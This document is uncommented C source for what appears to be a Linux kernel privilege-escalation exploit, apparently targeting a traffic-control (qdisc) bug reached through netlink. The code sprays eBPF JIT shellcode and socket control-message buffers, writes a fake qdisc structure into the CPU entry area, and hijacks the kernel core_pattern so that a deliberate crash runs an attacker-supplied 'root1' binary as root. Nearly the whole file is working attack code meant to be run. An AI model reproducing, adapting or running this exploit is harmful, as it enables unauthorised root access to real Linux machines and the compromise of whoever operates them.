#define _GNU_SOURCE #include <sched.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <asm/types.h> #include <sys/socket.h> #include <linux/netlink.h> #include <sys/ipc.h> #include <sys/timerfd.h> #include <sys/msg.h> #include <fcntl.h> #include <err.h> #include <sys/syscall.h> #include <linux/aio_abi.h> #include <sys/mman.h> #include <sys/prctl.h> #include <sys/resource.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <pthread.h> #include <signal.h> #include <linux/filter.h> #include <linux/seccomp.h> #include <sys/sendfile.h> #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ })
#define PAUSE \ { \ printf(":"); \ int x; \ read(0, &x, 1); \ } extern void write_to_cpu_entry_area(void *buf); void handle(int s) {} void set_cpu(int i) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(i, &mask); sched_setaffinity(0, sizeof(mask), &mask); }
int cfd[2]; int sfd[0x200][2]; char payload[0x1000]; char buf[0x1000]; struct sock_filter filter[0x1000]; int stopfd[2]; const int DRR_CLASS_SPRAY_THREADS = 0x100; void *job(void *x) { size_t idx = (size_t)x; write(cfd[1], buf, 1); read(cfd[0], buf, 1); set_cpu(0); struct iovec iov = {buf, 0x1000}; struct msghdr mhdr = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = payload, .msg_controllen = 0x80}; sendmsg(sfd[idx][1], &mhdr, 0); }
void do_spray(int times) { memset(payload,0,0x1000); struct cmsghdr *first; first = (struct cmsghdr *)payload; first->cmsg_len = 0x400; first->cmsg_level = 0; first->cmsg_type = 0x41414141;
*(size_t*)&payload[0x60] = 0xfffffe000003df58;
for (int i = 0; i < DRR_CLASS_SPRAY_THREADS; i++) { SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sfd[i])); int n = 0x800; setsockopt(sfd[i][1], SOL_SOCKET, SO_SNDBUF, (char *)&n, sizeof(n)); setsockopt(sfd[i][0], SOL_SOCKET, SO_RCVBUF, (char *)&n, sizeof(n)); write(sfd[i][1], buf, 0x1000); } pthread_t tid; for (int i = 0; i < times; i++) pthread_create(&tid, 0, job, (void*)(size_t)i); }
int sc(void) { set_cpu(1); unsigned int prog_len = 0x900;
struct sock_filter table[] = { {.code = BPF_LD + BPF_K, .k = 0xb3909090}, {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}};
for (int i = 0; i < prog_len; i++) filter[i] = table[0];
filter[prog_len - 1] = table[1]; int idx = prog_len - 2;
#include "sc.h"
struct sock_fprog prog = { .len = prog_len, .filter = filter, }; int fd[2]; for (int k = 0; k < 0x50; k++) { if (fork() == 0) { close(stopfd[1]); for (int i = 0; i < 0x100; i++) { SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd)); SYSCHK(setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog))); } write(stopfd[0], buf, 1); read(stopfd[0], buf, 1); exit(0); } } read(stopfd[1], buf, 0x50); } char POC[0x1000];
size_t DEL[] = { 0x0005002900000024, 0x00000000649bcb96, 0x0000000100000000, 0x0001000000010010, 0x0000000000000000};
int check_core() { char buf[0x100] = {}; int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); read(core, buf, sizeof(buf)); close(core); return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; } void crash(char *cmd) { int memfd = memfd_create("", 0); if(memfd < 0) perror(memfd); SYSCHK(sendfile(memfd, open("root1", 0), 0, 0xffffffff)); if(dup2(memfd, 666) < 0) perror("dup2"); close(memfd); while (check_core() == 0) sleep(1); *(size_t *)0 = 0; } void unshare_setup(uid_t uid, gid_t gid) { int temp, ret; char edit[0x100]; ret = unshare(CLONE_NEWNET | CLONE_NEWUSER); if (ret < 0) { perror("unshare"); } temp = open("/proc/self/setgroups", O_WRONLY); write(temp, "deny", strlen("deny")); close(temp); temp = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", uid); write(temp, edit, strlen(edit)); close(temp); temp = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", gid); write(temp, edit, strlen(edit)); close(temp); return; }
#include "key.h" #include "pg_vec.h" #include "sendmsg.h"
size_t data[0x1000];
int main(int argc, char **argv) { if (fork() == 0) { set_cpu(1); strcpy(argv[0], "billy"); while (1) sleep(1); } if (fork() == 0) { set_cpu(1); setsid(); crash(""); }
setvbuf(stdout, 0, 2, 0); unshare_setup(getuid(), getgid()); socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd); struct rlimit rlim = { .rlim_cur = 0xf000, .rlim_max = 0xf000}; setrlimit(RLIMIT_NOFILE, &rlim);
char *core = (void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0); strcpy(core, "|/proc/%P/fd/666");
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); set_cpu(1);
puts("spray ebpf program."); sc(); puts("spray ebpf done"); getchar();
set_cpu(0);
{ int poc_fd = open("./POC1", O_RDONLY); read(poc_fd, POC, 0x1000); write(fd, POC, 0x1000); }
write(fd, DEL, 0x24); for(int i = 1; i <= 3; i++){ printf("sleep %d\n", i); sleep(1); }
int pfds[0x100]; char *pages[0x100]; for(int i = 0; i < 0x80; i++){ pfds[i] = pagealloc_pad(16, 0x1000); if(pfds[i] < 0) perror("pagealloc_pad"); } for(int i = 0; i < 0x80; i++){ pages[i] = mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_SHARED, pfds[i], 0); if (pages[i] == MAP_FAILED) { perror("mmap"); exit(-1); } } size_t goal_addr = 0xffffffffc2003000; for(int i = 0; i < 0x80; i++){ memcpy(pages[i]+12*0x1000, &goal_addr, 8); }
struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(80), .sin_addr.s_addr = inet_addr("127.0.0.1"), };
size_t fake_qdisc_struct[0x10] = {};
fake_qdisc_struct[0] = 0xffffffffcc000000 - 0x800;
int c = socket(AF_INET, SOCK_DGRAM, 0);
if (fork() == 0) { set_cpu(1); signal(SIGFPE, handle); signal(SIGTRAP, handle); signal(SIGSEGV, handle); setsid(); write_to_cpu_entry_area(fake_qdisc_struct); } sleep(1); int mark = 1; if (setsockopt(c, SOL_SOCKET, SO_MARK, &mark, sizeof(mark)) < 0) { perror("setsockopt"); } else printf("set mark successful!"); SYSCHK(sendto(c, buf, 0x10, 0, (void *)&addr, sizeof(addr))); SYSCHK(sendto(c, buf, 0x10, 0, (void *)&addr, sizeof(addr))); SYSCHK(sendto(c, buf, 0x10, 0, (void *)&addr, sizeof(addr))); SYSCHK(sendto(c, buf, 0x10, 0, (void *)&addr, sizeof(addr))); }
|